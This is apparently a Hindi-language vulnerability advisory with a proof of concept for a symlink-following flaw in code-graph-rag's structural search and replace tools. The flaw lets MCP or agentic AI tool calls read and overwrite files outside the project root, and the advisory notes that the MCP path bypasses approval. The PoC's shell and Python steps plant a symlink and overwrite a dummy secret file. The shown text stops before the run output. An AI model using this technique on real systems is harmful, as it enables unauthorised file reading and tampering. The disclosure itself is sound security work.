
PoC — code-graph-rag में प्रोजेक्ट रूट के बाहर मनमानी फ़ाइल पढ़ने/लिखने के लिए symlink फ़ॉलो करना (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1)।
CVE स्थिति: अनुरोध किया गया, असाइनमेंट लंबित। यह निष्कर्ष GHSA-85gg-2gfq-q95m के रूप में प्रकाशित किया गया है। CVE असाइनमेंट पर इस रिपॉज़िटरी का नाम बदलकर
CVE-YYYY-NNNNN-code-graph-rag-PoCकर दिया जाएगा और इस बैनर को CVE लिंक से बदल दिया जाएगा।
| शोधकर्ता | Dostxodjayev Abdullox (@squeeze440) |
| सलाह | GHSA-85gg-2gfq-q95m |
| CVSS 3.1 | 7.1 (उच्च) |
| कमज़ोरी | CWE-59, CWE-22 |
सारांश
एक रिमोट/लोकल हमलावर जो code-graph-rag द्वारा विश्लेषित सोर्स-कोड रिपॉज़िटरी में एक सिम्बॉलिक लिंक शामिल करवा सकता है, वह structural_search और structural_replace टूल्स (जो AstGrepService द्वारा समर्थित हैं, और MCP टूल्स तथा एजेंटिक AI टूल्स दोनों के रूप में उजागर हैं) को कॉन्फ़िगर किए गए प्रोजेक्ट रूट के बाहर मनमानी फ़ाइलों को पढ़ने और — dry_run=False के साथ structural_replace के माध्यम से — अधिलेखित (overwrite) करने का कारण बन सकता है, क्योंकि टूल का पाथ-कंटेनमेंट चेक (should_skip_path/_classify_file) अनरिज़ॉल्व्ड पाथ पर लेक्सिकल रूप से किया जाता है और कभी Path.is_symlink() की जाँच नहीं करता या .resolve() को कॉल नहीं करता, जो कि प्रोजेक्ट के अपने (सही) validate_project_path डेकोरेटर के विपरीत है जो अन्यत्र उपयोग किया जाता है।
उत्पाद
vitali87/code-graph-rag (PyPI: code-graph-rag, CLI: cgr)
परीक्षित संस्करण
कमिट 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (pyproject संस्करण 0.0.550) — परीक्षण के समय वर्तमान main। पुष्टि की गई कि इस कमिट में पहले की सलाह (GHSA-vvr2-h2jp-838m: पेजिनेटेड read_file पाथ ट्रैवर्सल) का फिक्स और नया HTTP-MCP बियरर-ऑथ गेट (codebase_rag/mcp/server.py में _validate_http_exposure) पहले से मौजूद हैं, इसलिए यह उन फिक्सों के ऊपर एक अलग, अभी भी खुला मुद्दा है।
अनुमानित CVSS v3.1
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (उच्च)
गैर-स्पष्ट मेट्रिक्स:
structural_search/structural_replace चलाना होगा ताकि रीड/राइट सक्रिय हो।विवरण
AstGrepService (codebase_rag/tools/ast_grep_service.py) structural_search और structural_replace दोनों MCP/एजेंटिक टूल्स को समर्थित करता है। यह os.walk() के साथ उम्मीदवार फ़ाइलों की गणना करता है और प्रत्येक पाथ को केवल should_skip_path() के माध्यम से गेट करता है:
codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — os.walk() के साथ self.project_root को वॉक करता है; os.walk द्वारा लौटाया गया प्रत्येक गैर-डायरेक्टरी डायरेक्ट एंट्री (जिसमें डिस्क पर कहीं भी इंगित करने वाला सिम्बॉलिक लिंक भी शामिल है) को इन-स्कोप फ़ाइल माना जाता है।codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — एकमात्र कंटेनमेंट चेक should_skip_path(...) है जिसके बाद abs_path.relative_to(self.project_root) (पंक्ति 82) है; abs_path कभी रिज़ॉल्व नहीं किया जाता, इसलिए यह चेक विशुद्ध रूप से लेक्सिकल/स्ट्रिंग-आधारित है।codebase_rag/utils/path_utils.py:80-109 (should_skip_path) और codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — rel_path = file_path.relative_to(repo_path) की गणना करता है बिना कभी .resolve() या Path.is_symlink() को कॉल किए। इस फ़ंक्शन में कुछ भी सिम्बॉलिक लिंक को वास्तविक फ़ाइल से अलग नहीं मानता।codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) path.read_text() को कॉल करता है, जिसे Python सिम्बॉलिक लिंक के माध्यम से उसके वास्तविक लक्ष्य तक फॉलो करता है, चाहे वह लक्ष्य कहीं भी हो।codebase_rag/tools/ast_grep_service.py:187-208 (replace), विशेष रूप से पंक्ति 208 — dry_run=False होने पर abs_path.write_text(new_source, ...), फिर से सिम्बॉलिक लिंक का अनुसरण करते हुए वास्तविक लक्ष्य फ़ाइल की सामग्री को अधिलेखित करता है।यह इस बात से असंगत है कि शेष कोडबेस इसी जोखिम वर्ग को कैसे संभालता है। फ़ाइल रीड/राइट/एडिट टूल्स (file_reader.py, file_writer.py, file_editor.py) सभी validate_project_path (codebase_rag/decorators.py:73-75) द्वारा सुरक्षित हैं:
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)
.resolve() कंटेनमेंट चेक चलने से पहले सिम्बॉलिक लिंक का अनुसरण करता है, इसलिए वे टूल्स रूट के बाहर के लक्ष्य को सही ढंग से अस्वीकार करते हैं। path_utils.py का अपना absolute_path_within_project_root() (codebase_rag/utils/path_utils.py:156-176) इसी सिद्धांत को अपने डॉकस्ट्रिंग में स्पष्ट रूप से प्रलेखित करता है: "resolve() कॉल्स भार-वहन करने वाले हैं: कंटेनमेंट लेक्सिकल रूप से जाँचा जाता है, इसलिए एक अनरिज़ॉल्व्ड .. सेगमेंट या सिम्बॉलिक लिंक रूट से बाहर निकल जाएगा।" — लेकिन should_skip_path()/AstGrepService, जो structural_search/structural_replace द्वारा उपयोग किए जाते हैं, वह पैटर्न कभी लागू नहीं करते।
दोनों टूल्स की पहुँच/एक्सपोज़र:
structural_search (codebase_rag/tools/structural_search.py:24-46) में कोई requires_approval फ़्लैग बिल्कुल नहीं है — एक MCP क्लाइंट का मॉडल इसे बिना किसी मानवीय पुष्टि के स्वायत्त रूप से कॉल कर सकता है।structural_replace (codebase_rag/tools/structural_editor.py:52-57) को requires_approval=True के रूप में चिह्नित किया गया है, लेकिन वह फ़्लैग केवल pydantic-ai के अपने एजेंट लूप द्वारा लागू किया जाता है। MCP सर्वर पाथ इसे पूरी तरह से बायपास करता है: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) सीधे self._structural_editor_tool.function(...) को कॉल करता है, और MCP टूल codebase_rag/mcp/tools.py:369-388 (MCPToolName.STRUCTURAL_REPLACE के लिए ToolMetadata) पर बिना किसी अनुमोदन अवधारणा के रजिस्टर किया गया है — कोई भी MCP क्लाइंट जो टूल्स कॉल कर सकता है, वह एक ही शॉट में dry_run=False के साथ structural_replace को आमंत्रित कर सकता है।प्रूफ ऑफ कॉन्सेप्ट
इंस्टॉल किए गए पैकेज के विरुद्ध गतिशील रूप से पुष्टि की गई (mgclient/pymgclient को ठीक उसी तरह मॉक किया गया जैसे पहले की सलाह के PoC में, क्योंकि इस कोड पाथ के लिए Memgraph नेटिव क्लाइंट की आवश्यकता नहीं है)।
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService
SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)
matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN' (read escape)
changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())
वास्तविक रन आउटपुट (/tmp/poc_venv, परीक्षित कमिट से pip install --no-deps -e . के माध्यम से इंस्टॉल किया गया पैकेज):